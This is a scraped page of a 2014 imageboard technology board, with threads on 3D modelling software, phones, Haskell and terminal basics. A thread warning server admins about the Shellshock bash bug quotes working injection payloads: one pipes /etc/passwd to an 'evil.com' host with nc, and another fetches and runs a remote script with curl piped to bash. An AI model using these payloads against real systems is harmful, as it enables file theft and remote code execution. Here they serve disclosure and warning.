[ rss / options / help ]
post ]
[ b / iq / g / zoo ] [ e / news / lab ] [ v / nom / pol / eco / emo / 101 / shed ]
[ art / A / beat / boo / com / fat / job / lit / map / mph / poof / £$€¥ / spo / uhu / uni / x / y ] [ * | sfw | o ]
logo
technology
Subject   (new thread)
Message
File  [] []
close
whiteline
roxio-3d-photo-creator-16.jpg
233732337323373
>> No. 23373 Anonymous
3rd November 2014
Monday 11:55 pm
23373 Blender, 3d Max or cinema 4d
Hello my friend! I wish to learn 3d modeling, I've got a strong background with computer effects and motion graphics with programs like After Effects and it's various addons and plug ins. I know of many programs to produce 3d models with which of them would you recommend? Tah lads.
1 post omitted. Expand all images.
>> No. 23375 Anonymous
4th November 2014
Tuesday 9:28 pm
23375 spacer
>>23373
What are you doing it for? Game design? Movies/CGI? Do you intend to pay for the software? Are you doing this for a uni course or just as a hobby?

If it's just a hobby or bit of fun, Cinema 4D is easiest to get good results from and most fun to use. Cinema 4D is a bit limited though, so If you want to do it professionally you should think about using others. I think the industry standards for game design is 3DSMax, and Maya for movies (though you can use either really, it doesn't make much of a difference and are both made by the same company).
If you need it free, then you're stuck with blender; which in my experience is an absolute chore to use.

I haven't used any of it in 4-5 years though, so my opinions are probably a bit dated (though probably not by much, things move a bit slow in these industries). Also look into Z-Brush.
>> No. 23376 Anonymous
5th November 2014
Wednesday 3:41 am
23376 spacer
Blender is good if you're looking to learn as a hobby. It's free! And the interface is...interesting. Very hotkey focused as a design principle which makes it quite enjoyale to work with once you figure it out.
In all honesty I think it catches a lot of flack because it's not used as an industry standard so people aren't forced to learn its quirks as they would 3DSMax (which I mostly use) or Maya.

Blender does have one big flaw in that it doesn't have an option to use smoothing groups in the way that 3DSMax (and others) do. There are workarounds, but you're still left with a nuisance when it comes to sharing models between different programs in that case.

3DSMax or Maya are both useful if you're interested in professional work. Both are used in games, but other than that Maya tends to be used by animators and 3DSMax by visualisation people. I use 3DSMax myself.

The main thing to learn with 3D are the core workflows, after that it's just a case of figuring out how they work in a particular program.

Games industry (video games & tabletop games) has seriously shifted towards digital sculpting these days too. ZBrush is the key software for that.
>> No. 23377 Anonymous
5th November 2014
Wednesday 5:58 pm
23377 spacer
I'm on my last year of a university course although it would be for professional use for films and CGI. I've never used any sort of 3D creation software, So I'm thinking of using blender as entry level and working my way up, would you guys recommend that? or would it be best just to jump in to the deep end so to speak?
>> No. 23378 Anonymous
6th November 2014
Thursday 6:08 pm
23378 spacer
>>23377
I'd say start as you mean to go on. It'll just slow down your progress switching packages a year or two down the line. You'll have to learn new hotkeys, new ways of doing things you've done a hundred times before (like making textures), new names for tools etc
The whole thing would just be a bother you don't need, and offering no real advantage (other than you can use blender... which no one cares about).
>> No. 23379 Anonymous
6th November 2014
Thursday 9:22 pm
23379 spacer
>>23378
> The whole thing would just be a bother you don't need, and offering no real advantage (other than you can use blender... which no one cares about).

Indeed. Don't go into this thinking that blender is somehow an "easy" or "beginners" tool. The only advantage it offers a beginner is that it's well and truly free (which, if you'd rather not pirate things, does save you a pretty penny).

whiteline
353px-Chiptune-Setup-Game-Boys[1].jpg
233372333723337
>> No. 23337 Anonymous
23rd October 2014
Thursday 11:52 am
23337 spacer
What's the demo scene like in the UK?

Is anyone here part of it?
2 posts omitted. Expand all images.
>> No. 23340 Anonymous
23rd October 2014
Thursday 1:49 pm
23340 spacer
>>23339
The demo scene that I think he's referring to isn't solely about music - it's about writing 'demos', to demonstrate ones coding prowess. These often feature music.
>> No. 23341 Anonymous
23rd October 2014
Thursday 2:00 pm
23341 spacer
>>23340

Oh. I'll be quiet then.
>> No. 23342 Anonymous
23rd October 2014
Thursday 5:18 pm
23342 spacer
>>23337

Didn't the demo scene die with the Amiga? I remember some of the old crews could do real magic with those little machines (you've actually just made me nostalgic for 'Jesus on Es' and one I can't quite remember the title of "[something] and sunflowers" maybe.
>> No. 23343 Anonymous
23rd October 2014
Thursday 5:47 pm
23343 spacer
>>23342
The demoscene is alive. Sometimes older platforms still get demos, like this one for the Megadrive:

https://www.youtube.com/v/w54uNAuqE1Y

Or this for the Amstrad CPC:

https://www.youtube.com/v/dqjZNnjNu3Y

But perhaps the craziest are the PC ones that are size-limited. This demo, for instance, is 4KB:
http://www.pouet.net/prod.php?which=52938
To put into perspective just how tiny 4KB is - you could fit three hundred and sixty copies of this onto a single floppy disk. It's absolutely minuscule.

There's loads at pouet, something for almost every platform you could name:
http://www.pouet.net/prodlist.php
>> No. 23370 Anonymous
30th October 2014
Thursday 7:25 pm
23370 spacer
https://www.youtube.com/v/zCfJPoKyn2w

whiteline
141253699732[1].png
233612336123361
>> No. 23361 Anonymous
24th October 2014
Friday 8:03 am
23361 Disconnect
I'm trying to get the disconnect add-on working in Seamonkey 2.29

I've been following the instructions here: http://forums.mozillazine.org/viewtopic.php?f=19&t=1355415 and here https://developer.mozilla.org/en-US/Add-ons/SeaMonkey_2

And I added this code to the install.rdf file:

</Description>
<em:targetApplication>
<!-- SeaMonkey -->
<Description>
<em:id>{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}</em:id>
<em:minVersion>2.0</em:minVersion>
<em:maxVersion>2.*</em:maxVersion>
</Description>
</em:targetApplication>
Message too long. Click here to view the full text.

whiteline
codelite errors.png
233592335923359
>> No. 23359 Anonymous
24th October 2014
Friday 3:26 am
23359 spacer
How do you turn off these error messages in CodeLite? Because they are really, really fucking annoying and I've only been using it for 10 minutes.
Expand all images.
>> No. 23360 Anonymous
24th October 2014
Friday 4:48 am
23360 spacer
Settings → Build Settings → Build Output Appearance

remove the option: "Compiler errors/warnings displayed inline"

As seen on https://github.com/eranif/codelite/issues/421[/spoiler]
>> No. 23362 Anonymous
24th October 2014
Friday 11:05 am
23362 spacer
>>23360

thanks.

whiteline
>> No. 23349 Anonymous
23rd October 2014
Thursday 8:13 pm
23349 spacer
Do any of you happen to have a vodafone pay as you go SIM pack lying around? If so, could you post the set up instructions for the iPhone please? There's something about changing wap.xxx to pp.xxx and so on.
Expand all images.
>> No. 23354 Anonymous
23rd October 2014
Thursday 8:31 pm
23354 spacer
>>23353

Thanks but I've already spent a few hours on the internet trying that and similar. It used to work using the SIM pack details but I've recently reset it and can't find the pack. If nobody has one I'll get a pack from Argos tomorrow, I just wanted to be sure before I went out of my way.

whiteline
business-telephone-number.jpg
233282332823328
>> No. 23328 Anonymous
19th October 2014
Sunday 4:10 am
23328 spacer
I am somewhat already regretting not just bumping an older thread but I'm wondering whether I should get a new phone. My current phone is 5 years old (Blackberry 8520) and I am surprised at the disadvantage this gives me when usually I'd be fine with a phone that does the bare minimum. As a result I am very ignorant of the going rate for phones these days.

I am a student and living off grants and after working out whether I can afford such an expense I have 60 quid I can spend without living off beans at aldi. Naturally I was going to not bother looking as my initial searches got me looking at phones that were £120 at the lowest.

I did then use google shopping and was pointed towards ebay. I am paranoid over the idea of buying a phone over ebay but there are some phones that are going for less than my budget and wondering whether I should take the plunge as the feedback on one seller is quite high.

My criteria for a good replacement is quite simple
Android (as there is no way I can afford an iphone) OS
Significantly better than my Blackberry
Unlocked (I already have a good sim card with a good contract)
Less than £60
3 posts omitted. Expand all images.
>> No. 23332 Anonymous
19th October 2014
Sunday 12:02 pm
23332 spacer
I'll just add that it would be worth waiting a few months to make sure you can get android 5 on whatever phone you use. It should be worth it, especially on cheaper phones, as it's meant to have a noticeable improvement on both speed and battery life as there's a fairly major code overhaul.

All the newest Motorola phones will be updated to it in due time, but some budget phones from other manufacturers would be worth avoiding unless you know you'll get the upgrade.
>> No. 23333 Anonymous
19th October 2014
Sunday 3:27 pm
23333 spacer
>>23332

I doubt anything in his budget range will ever have Android 5. Most phones in that price range are still running 2.x.

Op's best bet is to hit ebay and find something nice that someone's replaced and no longer wants. New phones come out on such a regular basis that turnover is massive and you can get phones that are only a generation or two old for really cheap prices - especially on the bidding auctions.
>> No. 23334 Anonymous
19th October 2014
Sunday 4:17 pm
23334 spacer
>>23333
>Most phones in that price range are still running 2.x.
That's really not the case. You can get quite a bit of phone for £60 these days, if you go the cheapo Chinese route.
>> No. 23335 Anonymous
19th October 2014
Sunday 5:44 pm
23335 spacer
OP here.

Apologies but my dad may set me up with one of his old phones, the only issue being that I'd have to remove the blackberry part of my sim card which can take a month or so.
>> No. 23336 Anonymous
19th October 2014
Sunday 7:15 pm
23336 spacer
>>23335
Might be quicker to just order a new SIM and transfer your number over in that case.

whiteline
lli.jpg
232792327923279
>> No. 23279 Anonymous
11th October 2014
Saturday 12:00 am
23279 spacer
Is there a free way to find out what a domain's IP address used to be? My beloved Lossless Inside was taken down. They changed the domain to .org which worked for a couple of days but then it redirected to google then a parked domain page.

I'd just like to think they're still out there somewhere and I could bypass the domain name and find the site with its IP address. It's a vain hope I'm sure.
4 posts omitted. Expand all images.
>> No. 23323 Anonymous
17th October 2014
Friday 1:49 pm
23323 spacer
>>23321

Actually, one of them kind of is working

http://94.228.209.228/

and its internal links even work if you edit from

http://losslessinside.net/21166/we-invented-paris-rocket-spaceship-thing

to

http://94.228.209.228/21166/we-invented-paris-rocket-spaceship-thing

Obviously they've stopped updating though.
>> No. 23324 Anonymous
17th October 2014
Friday 1:54 pm
23324 spacer
>>23323

You can only get at the download providers where they didn't require a captcha though, and they required it for most of their older posts.

http://94.228.209.228/e5e57c/82278da077f9adee709a7b80931355223cf3817d
>> No. 23325 Anonymous
17th October 2014
Friday 3:07 pm
23325 spacer
>>23324
This is one of the reasons I run squidguard on my networks when I can. Among its many features, you can rewrite request URLs on the fly so that broken links end up going to the right place.
>> No. 23326 Anonymous
17th October 2014
Friday 3:35 pm
23326 spacer
>>23324

If I grab the source code of the page, replace all the losslessinside.nets with 94.228.209.228s, save it as HTML and open it, then the captcha works fine.
>> No. 23327 Anonymous
18th October 2014
Saturday 5:58 pm
23327 spacer
They've got their .net domain fully functional now. I'm not sure how long this will last.

whiteline
Moto-G-original.jpg
220692206922069
>> No. 22069 Anonymous
29th May 2014
Thursday 7:21 pm
22069 Moto G
Hey guys, my old, old HTC Wildfire has finally died, so I've been looking at one of these little babies.

However, I've just seen there's a newer one coming out either just now or soon, the LTE. Should I just wait? I won't be using 4G, but an SD card slot would be nice.

Is ebay my best bet? Been looking at an unlocked current model 16Gb ones for ~£150

I know there was a thread a while back but I can't find it for the life of me, my apologies.
61 posts and 3 images omitted. Expand all images.
>> No. 22150 Anonymous
2nd June 2014
Monday 9:22 am
22150 spacer
>>22144
Still I stand by not buying into hype - I do hope this phone is a success as it would put pressure on other companies, but again, I' sceptical.
>> No. 23285 Anonymous
11th October 2014
Saturday 7:42 pm
23285 spacer
Yesterday I dropped my moto g onto the floor, so now have a cracked screen. I wish I bought a case for it now.
I suppose it is a choice of try to replace the screen myself, buy a new Moto g, or get a different phone altogether.

Bit annoyed that if I buy it again I am paying more than I did the first time.
Tempted by the OnePlus as I would like cyanogen, but I cant be bothered with begging for an invite.
>> No. 23311 Anonymous
15th October 2014
Wednesday 7:39 pm
23311 spacer
>>23285

You now have a choice of 3 different versions of the moto-g

The moto g original, the moto-g 4g released earlier this year, and the moto g gen2 released last month (which is back to 3g again)
>> No. 23313 Anonymous
15th October 2014
Wednesday 8:10 pm
23313 spacer
>>23311
Thanks for this post, I thought that gen2 one was the new 4g one.
The new two are more expensive, which takes away the main selling point of the Moto g for me. They are still the best in the price range as far as I can see though.
>> No. 23314 Anonymous
15th October 2014
Wednesday 8:37 pm
23314 spacer
>>23313
It's £144 on Amazon right now, given that I bought the first gen for 150 at Argos, that's quite a good price.

whiteline
toshiba22BV500B.jpg
232812328123281
>> No. 23281 Anonymous
11th October 2014
Saturday 6:43 pm
23281 spacer
I have an old Toshiba television that's taken to switching itself on from standby, and lowering its own volume. I've switched off all timers, taken my batteries from the remote control and looked for any other possible interferences without any indication of what might be causing it.

I started systematically removing all connections, and it seems to have stopped since I removed the TV aerial cable. Does anyone know why this might be happening?

Model no. is 22BV500B. Can't find anything matching this problem specific to this television, but lots of general problems to do with faulty motherboards.

I'm stumped.
17 posts and 4 images omitted. Expand all images.
>> No. 23309 Anonymous
15th October 2014
Wednesday 6:54 pm
23309 spacer

2148.jpg
233092330923309
>>23302
My Russian watch is excellent. Best watch I've ever owned. 9 years now and not a single problem other than the leather strap degrading.
>> No. 23312 Anonymous
15th October 2014
Wednesday 7:40 pm
23312 spacer
The only watch I've ever worn was one that could fire a little plastic dart, it had a flip up sweet compartment too. Won it in a game of pass the parcel.

Hmm, anyway, watched look weird on me. So do belts and hats.

>>23309

gb2 /zoo/, Vladlad!
>> No. 23315 Anonymous
16th October 2014
Thursday 1:31 pm
23315 spacer

clinton1_1768392i.jpg
233152331523315
>>23312
I would gladly relocate if they had chippies with mushy peas and patties.
>> No. 23316 Anonymous
16th October 2014
Thursday 1:52 pm
23316 spacer
>>23301

Students then?
>> No. 23320 Anonymous
17th October 2014
Friday 12:11 pm
23320 spacer
>>23309
In Soviet Russia, time tells you!

whiteline
usb3thunderbolt.jpg
232892328923289
>> No. 23289 Anonymous
15th October 2014
Wednesday 12:26 am
23289 spacer
What are your thoughts on thunderbolt? I've got these ports now but haven't used them yet and don't know if I ever will.
3 posts omitted. Expand all images.
>> No. 23293 Anonymous
15th October 2014
Wednesday 9:06 am
23293 spacer
I had no problems with firewire, and I'm extremely annoyed that the next laptop I buy won't be able to plug directly in to the bulk of my audio equipment. Bah humbug.
>> No. 23294 Anonymous
15th October 2014
Wednesday 1:13 pm
23294 spacer
>>23292
>A decent USB 2.0 cable costs less than a quid, but USB 3.0 cables are about a fiver
So something like this is counterfeit?
http://www.ebay.co.uk/itm/USB-3-0-A-Male-to-A-Male-Cable-Cord-5ft-Data-Wire-for-HP-Canon-Premium-Quality/271573892184
>> No. 23296 Anonymous
15th October 2014
Wednesday 2:23 pm
23296 spacer
>>23294
Not him, but anything which purports to be A to A should be viewed with suspicion. The plugs are different for a reason. If there isn't some active circuitry in there you run the risk of frying both ends.
>> No. 23308 Anonymous
15th October 2014
Wednesday 6:51 pm
23308 spacer
>>23294

It's cheap because it's unbranded and being sold direct from Hong Kong. As >>23296 suggests, A-to-A cables aren't supported by the USB specification and can permanently damage equipment; If they have ignored the spec in this regard, it is likely that they have ignored other aspects of the spec to cut costs. I wouldn't trust it as far as I could throw it.

If we compare like-with-like and look at a reputable brand of cable shipped from the UK, Startech's list price for a 3ft A to Micro B cable is £3.59 for 2.0 and £10.79 for 3.0. (Obviously you'll actually pay a lot less than list). That difference is representative of the pricing for any quality cable, excluding any sort of stock clearance or other shenanigans.
>> No. 23310 Anonymous
15th October 2014
Wednesday 7:37 pm
23310 spacer
>>23308
Maplins has been selling these for years at the bargain price of £9.99 for a 1.5m USB2.
http://www.maplin.co.uk/p/nikkai-pure-connectivity-usb-20-a-male-to-a-male-15m-l03bt

whiteline
>> No. 23275 Anonymous
10th October 2014
Friday 8:00 pm
23275 spacer
I'm not entirely sure how much of my problem is actually a problem, and how much of it is just me being going over the top for comedic effect, and I'm the one with the problem. Anyway, at Uni, unsurprisingly, in the various computer science courses, I've ended up learning Python and Ruby. I don't have a problem with these languages per se; some parts of them I like, and they do have their place. No, my problem is that, for a while now, I've been using Haskell almost universally. I'm not great at it, and I have not yet got anywhere near some of the more advanced stuff. Basically, it's the stuff in LYAH, plus a few libraries, minus zippers, and a bit of experience. Nevertheless, I am not sure I have ever felt so comfortable in a language, be it when I've done stuff in the shell, in Python, in C, or so on. It just came very naturally in a way those others didn't. So, basically, how do I go about getting out of the functional mindset, at least for the time being, enough to re-learn the basics of imperative languages? (I intend to continue to use a functional style, even in Python for example, because it supports it, and that's what all the cool kids are doing, but just for the moment, it's probably best to get the hang of the actual language, not the tacked-on functional bits). How do I deal with not having that beautiful type system, no higher-order functions, mutability, etc etc? How do I deal with the comparative verbosity of the languages? How do I go back to someone else when Haskell has my heart?

On a side-note, what is functional style like in Python and Ruby? I mean, Python differentiating between expressions and statements makes the lambdas a bit annoying, but, for example, can recursion be used to as great an extent as it is in Haskell, or is that a bad idea? And how do I deal without pattern matching in function definitions?
Expand all images.
>> No. 23276 Anonymous
10th October 2014
Friday 8:47 pm
23276 spacer
There are many good tutorials available on idiomatic functional programming in Ruby and Python.

I'm not surprised that you feel more at home in Haskell, because it's fantastically well-suited to academic programming that tends to be heavy on algorithmic complexity and light on plumbing and boilerplate. There are however some good reasons why purely functional languages have been slow to gain traction outside of academia.

In the trenches of professional software development, the purely-functional style of Haskell tends to come unstuck, because real software inevitably descends into a mess of weird edge cases, workarounds and fudges. Unless you're lucky enough to work in a handful of specialist fields, you'll spend a very large proportion of your time in industry dealing with legacy code and connecting buggy API 'A' to buggy API 'B', via buggy business logic 'C'. Sometimes you can cut through a dreadful gordian knot with a beautifully clever function, but often you just need a big ugly imperative sledgehammer to bash a square peg into a round hole.

Practical software tends to be inherently stateful, and usually a very large proportion of lines of code and clock cycles are related directly to I/O. Trying to write this sort of software in a purely functional style is in my opinion an exercise in confusion. It can be done, but requires a level of mental gymnastics that just isn't required if you do it imperatively. Learning Haskell or Lisp is immensely valuable, but it's easy to become intoxicated by the sheer elegance of functional style and overlook the ugly practicality of imperative and OO solutions for many common tasks. The debate tends to get polarised into functional purists vs the battle-scarred developers who dismiss them as weirdy-beardies; As with most things, I think that the answer lies somewhere in between. There is no best tool, only the best tool for the job at hand. Mongrel languages like Python and Ruby cherry-pick the most useful ideas from many different theoretical approaches.

As regards the relative verbosity of Python and Ruby, it really is relative and it's something you get used to. Those languages are considered highly concise compared to something like Java. Python and Ruby are designed with a concise and minimal syntax, but not at the expense of clarity. It's usually better to be verbose and explicit than concise and cryptic. Clever code is often too clever for its own good, because of the sheer mental effort involved in understanding it later on. An elegant little haiku of a function is often harder to maintain than thirty lines of boneheadedly simple imperative code.
>> No. 23277 Anonymous
10th October 2014
Friday 9:16 pm
23277 spacer
>>23276
I never really intended to do programming professionally, I mainly do it because I enjoy it; and, particularly, more and more, I find myself enjoying the theory more than the practical side. Having said that, I do understand that often it's just better to use an imperative approach. I'm really just looking for how to get out of a functional mindset enough to stop thinking "I would prefer to do this in Haskell".

Would you mind awfully linking to some of the good tutorials on idiomatic functional programming in Python and Ruby? Whilst often, especially working in those languages, it's easier to be imperative, I'm sure there will be times when it'd be clearer to do something functionally. Bearing in mind I'm very new to Ruby, and, whilst I have done some Python, I've largely forgotten it, because it was a fair while ago.

To go off on (another) tangent, I'm under the impression that quite a few places teach students with Java. Where I am, I don't think they do that much, if at all, and, whilst I've never even touched a "hello world" tutorial for Java, I looked at the examples on Wikipedia, and it seemed far too verbose for a teaching language. I mean, in Python, it's just a single line of very clear text, the same with most other languages I can think of. Even C has a more-or-less clear first program. Java, on the other hand, looked like it would need a lot of theory before even writing one thing. Why is it used as a teaching tool so much?
>> No. 23278 Anonymous
10th October 2014
Friday 11:55 pm
23278 spacer
>>23277
> Why is it used as a teaching tool so much?

Because it's an "industry standard"; it's replaced C/C++ as the preferred teaching language around 10-15 years ago. A hello world program is rather verbose in either of those languages, but then programming courses tend to be aimed at adults and move at a reasonable pace, leaving toy problems like that behind fairly quickly. Besides, the verbosity is actually a boon as >>23276 mentioned. Once other people have to read your code or once you have to reread code you wrote a year ago you'll come to appreciate it unless you have an exceptionally good memory.
>> No. 23280 Anonymous
11th October 2014
Saturday 2:39 am
23280 spacer
>>23275
I'm out of my depth here since I sort of detest functional programming and have never touched ruby (C99 or python (ever since I ditched Perl when Perl 6 happened)), but anyway.

> So, basically, how do I go about getting out of the functional mindset, at least for the time being, enough to re-learn the basics of imperative languages?

I had the opposite problem (imperative felt natural, warts and all, while functional seemed contrived). The way out of it was through practice and a personal need: my preferred editor is emacs, so while I exclusively write imperative code for both work and leisure I had to learn functional thinking in earnest (I had a year of Haskell at uni and it was a love-hate relationship at best) to tweak my editor and make it do what I want. Find something that interests you and just go do it in the language you intend to learn; it's really not too different from natural languages. To learn it, to think in it, to understand it you must use it.

> can recursion be used to as great an extent as it is in Haskell, or is that a bad idea?

Without more details it's hard to say but a safe bet is: that's a bad idea since python has no concept of lazy evaluation. You can create generators which behave similarly, but that's grafting habits from one language onto another. That, by the way, is not a bad thing. You can learn a lot about a new language by trying to make it behave like your comfort language.

whiteline
vU25f[1].jpg
232572325723257
>> No. 23257 Anonymous
6th October 2014
Monday 10:36 pm
23257 spacer
One thing better about cmd prompt than the Linux shell is that you can press tab to cycle through the different options. E.g. "trip" and tab would autocomplete all possibilities. This doesn't happen on the various distros I've tried.
5 posts and 1 image omitted. Expand all images.
>> No. 23270 Anonymous
7th October 2014
Tuesday 4:48 pm
23270 spacer
http://stackoverflow.com/questions/16805873/how-to-make-bash-tab-completion-work-like-windows-cmd-exe
>> No. 23271 Anonymous
8th October 2014
Wednesday 12:28 am
23271 spacer
>>23268

I've learned everything I know about computers by trial, error, and google. And one very thick book about Fedora Core 2, but mostly the former.
>> No. 23272 Anonymous
9th October 2014
Thursday 12:26 am
23272 spacer

Terminal copy.jpg
232722327223272
I've never needed to know any of this but in the past week i've tried to teach myself some Terminal Commands on a mac. It's interesting and novel but i don't yet understand why people would need or chose to work this way? Please forgive my ignorance, i do want to learn.
>> No. 23273 Anonymous
9th October 2014
Thursday 1:16 am
23273 spacer
>>23272
The main reason is to automate repetitive jobs - so, for example, if I want to rename every file in a folder with 1000 items, for example, it's much easier to write a script to do it than to do it by hand. Or, if there's something I want to do every friday, for example, I could set up a script so that it's run every friday, and then it does that thing for me. They're also often used as "glue" in programs - they can be used to put two bits of a program together.

They're also useful to give instructions precisely - if I'm trying to tell someone how to do something over the internet, I don't need to tell them what buttons to press and hope they can find every UI element, I just tell them to open the "terminal" application and paste a line of text into it.
>> No. 23274 Anonymous
9th October 2014
Thursday 4:32 am
23274 spacer
>>23272

The secret superpower of the terminal is the pipe command, "|". This directs the output from one program to the input of another, allowing you to quickly patch together sophisticated tools from simple programs. A trivial example for OSX would be something like "curl example.com/file.zip | unzip", which will download and then extract that zip archive.

A more interesting example involves Imagemagick, a program that performs batch processing on image files. The command "convert *.jpg -resize 100x100 | curl -u username:password @myserver.com/images/ -T -" will take all the images in a folder, convert them to thumbnails, then upload them to a remote server. Really clever stuff can be done with sed and awk, two very important tools for processing streams of data.

As >>23273 says, command line operations can be stuck together into scripts, allowing you to perform a large batch of operations with a single command. They can also be scheduled to run at a particular time, simply by adding a command or script to your crontab file.

This might all seem a bit abstract, but it becomes absolutely vital if you deal with servers. Doing everything on the command line allows you to easily control any server remotely via SSH, even over a poor connection with high latency or limited bandwidth. It doesn't matter whether a computer is on my desk, in the next room, or a thousand miles away, I control it in exactly the same way using terminal commands. Scripting allows the server to perform complex tasks unattended, and cron scheduling allows it to do things automatically.

If I have a task that requires lots of CPU power or plenty of bandwidth, I can spin up as many machines as I need using EC2, start that task remotely, and have the servers e-mail me when the job is finished then shut themselves down. Of course, that process can be scripted and scheduled, allowing the humble little computer on my desk to orchestrate many others remotely without my involvement. I can control hundreds of computers with a simple shell script.

Understanding the terminal is the first step in the journey from using computers as mere appliances and learning how to manipulate them on a deeper level. The unix philosophy that powers the internet age is embodied by the terminal - lots of simple parts that do one basic job, but are easily connected together.

whiteline
Capture2.jpg
232622326223262
>> No. 23262 Anonymous
7th October 2014
Tuesday 8:26 am
23262 BBC news bullshit
I'm getting pissed off by old stories appearing on the most read section. I want to write a script that removes stories older than 1 year from this section.

The problem is, the method I've thought of using with JS, I'd need to access the DOM of another page and not the page I'm currently on. Is there a way around this or another way of doing things?
Expand all images.
>> No. 23263 Anonymous
7th October 2014
Tuesday 11:16 am
23263 spacer
>>23262
They actually tried that for a while. Stories would be tagged with "This is more than a month old" and I'm not sure why they stopped TBH.
>> No. 23265 Anonymous
7th October 2014
Tuesday 2:53 pm
23265 spacer
>>23263
That was a good feature. They should bring it back.
>> No. 23266 Anonymous
7th October 2014
Tuesday 3:30 pm
23266 spacer
>>23262
I've been wondering what causes this myself. Is it just Stephen Fry tweeting a link or something?
>> No. 23267 Anonymous
7th October 2014
Tuesday 3:41 pm
23267 spacer
>>23266
It could be when they link other articles in a popular story and what you mentioned too.

I've sent them a complaint.

whiteline
Rape-Ewok-PREPARE-YOUR-ANUS.jpg
231542315423154
>> No. 23154 Anonymous
25th September 2014
Thursday 5:37 am
23154 spacer
Hi /g/, resident script kiddy here. Thought this was important enough to let anyone who has to look after servers know about.
http://www.openwall.com/lists/oss-security/2014/09/24/10

Long story short, this reddit comment puts it best.
https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/ckrjnlq
"You can put whatever you want in the function (and then call the function), or just write your code after the function. It doesn't matter. And in this case writing a file to disk was merely a proof of concept example that someone gave. Also, it's probably better to just always put your code after the function because in some certain circumstances you may not actually know the name of the environment variable that you're setting.

If you did User-Agent: () { :;}; nc evil.com 6666 < /etc/passwd it would work just the same. In reality, a black hat is probably going to just run curl http://evil.com/bot.sh | bash to download and execute a complete payload."

In other words, a shit load of servers are vulnerable to a pretty simple attack again. Don't even think there's a patch out yet - a later comment to the (lol publicly viewable) mailing list says

"Again, please do not disclose this issue to customers or the general
public until the embargo has expired."

Well, it's public as of a few hours ago. Keep an eye on this one.
4 posts omitted. Expand all images.
>> No. 23162 Anonymous
25th September 2014
Thursday 4:08 pm
23162 spacer
>>23161
Oh, lovely. It's even got a name now and everything.
>> No. 23164 Anonymous
25th September 2014
Thursday 8:05 pm
23164 spacer
>>23162

Oh dear.

Bashinga was by far the better suggested name.
>> No. 23183 Anonymous
26th September 2014
Friday 6:27 pm
23183 spacer
>>23164
Don't worry lads, the Stallman has declared it a 'blip'.
>> No. 23184 Anonymous
26th September 2014
Friday 7:01 pm
23184 spacer
>>23183
Well that's all right, then. If he says it's a blip, in between munching bits of his foot, then that's just fine.
>> No. 23264 Anonymous
7th October 2014
Tuesday 12:24 pm
23264 spacer

fuck.gif
232642326423264
>>23158
>Something I overheard about this bug "I lot of shit is going to get owned, but nothing anyone actually cares about".
http://www.theregister.co.uk/2014/10/06/yahooi_shellshockedii_asii_bashii_bugii_bangsii_upii_gamingii_serversii/
Yahoo got hit. So did Winzip. Please let Winzip have been owned massively and been giving out infected downloads, it would be too funny.

Check out this quality damage control too.

>Updated to add

>Hours after publication, Yahoo! has had a change of heart, claiming that its machines weren't vulnerable to Shellshock – just a bug exactly like it.

>"Earlier today, we reported that we isolated a handful of servers that were detected to have been impacted by a security flaw. After investigating the situation fully, it turns out that the servers were in fact not affected by Shellshock," said Alex Stamos, Yahoo!’s chief information security officer, on Hacker News. A copy of his statement was forwarded to us by Yahoo! PR.

>"Three of our Sports API servers had malicious code executed on them this weekend by attackers looking for vulnerable Shellshock servers. These attackers had mutated their exploit, likely with the goal of bypassing IDS/IDP or WAF filters.

Message too long. Click here to view the full text.

whiteline
Delete Post []
Password  
[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19]